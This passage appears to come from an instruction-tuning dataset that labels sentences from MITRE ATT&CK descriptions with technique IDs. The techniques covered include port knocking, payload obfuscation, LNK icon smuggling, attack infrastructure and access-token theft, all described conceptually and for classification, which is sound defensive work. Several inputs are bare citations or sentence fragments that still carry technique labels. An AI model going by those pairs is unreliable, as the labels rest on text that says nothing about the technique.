Instruction: List the MITRE techniques contained in the text. ### Input: Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The observation of the signal packets to trigger the communication can be conducted through different methods.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The observation of the signal packets to trigger the communication can be conducted through different methods. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation:", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the Wake-on-LAN feature to turn on powered off systems.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use port knocking to hide open ports used for persistence or command and control.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use port knocking to hide open ports used for persistence or command and control. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The observation of the signal packets to trigger the communication can be conducted through different methods.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The observation of the signal packets to trigger the communication can be conducted through different methods. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this LNK metadata to download malicious payloads.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this LNK metadata to download malicious payloads. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries have been observed using LNK files as phishing payloads to deliver malware.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation:", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register for web services\u00a0that can be used during targeting.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register for web services\u00a0that can be used during targeting. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OAuth is one commonly implemented framework that issues tokens to users for access to systems.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OAuth is one commonly implemented framework that issues tokens to users for access to systems. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation:", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019)", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation:", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Pawn Storm OAuth 2017)", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Pawn Storm OAuth 2017) ### Response: T1528."}{"instruction": "List 